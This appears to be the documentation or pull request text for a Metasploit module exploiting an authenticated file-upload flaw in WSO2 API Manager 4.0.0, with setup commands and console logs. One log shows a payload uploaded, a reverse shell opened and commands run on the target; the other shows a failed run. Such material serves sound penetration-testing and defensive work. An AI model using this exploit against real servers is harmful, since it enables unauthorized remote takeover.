A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions
(/permission/admin/login and /permission/admin/manage/api/publish) to upload arbitrary files to a user-controlled
server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.
Do: use multi/http/wso2_api_manager_file_upload_rce
Do: set rhosts [ip]
Do: set lhost [ip]
Do: run
You should get a shell.
Scenarios
WSO2 API Manager 4.0.0
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target...
[+] Authentication successful
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
[+] Authentication successful
[*] Listing APIs...
[+] Document created successfully
[*] Uploading payload...
[+] Payload uploaded successfully
[*] Executing payload...
[+] Payload executed successfully
[*] Command shell session 2 opened (127.0.0.1:4444 -> 127.0.0.1:58206) at 2024-11-03 15:36:37 +0100
id
uid=802(wso2carbon) gid=802(wso2) groups=802(wso2)
pwd
/home/wso2carbon/wso2am-4.0.0
exit
[*] 127.0.0.1 - Command shell session 2 closed.
Manually setting up the wrong API version
msf6 exploit(multi/http/wso2_api_manager_file_upload_rce) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking target...
[+] Authentication successful
[-] Mismatch between version found (4.0.0) and module target version (WSO2 API Manager (4.2.0))
[+] The target appears to be vulnerable. Detected WSO2 API Manager 4.0.0 which is vulnerable.
[*] Listing products APIs...
[-] Exploit aborted due to failure: unexpected-reply: Failed to list APIs
[*] Exploit completed, but no session was created.
Vulnerable Application
Closes #19646
A vulnerability in the 'Add API Documentation' feature allows malicious users with specific permissions (
/permission/admin/login
and/permission/admin/manage/api/publish
) to upload arbitrary files to a user-controlled server location. This flaw could be exploited to execute remote code, enabling an attacker to gain control over the server.Verification Steps
use multi/http/wso2_api_manager_file_upload_rce
set rhosts [ip]
set lhost [ip]
run
Scenarios
WSO2 API Manager 4.0.0
Manually setting up the wrong API version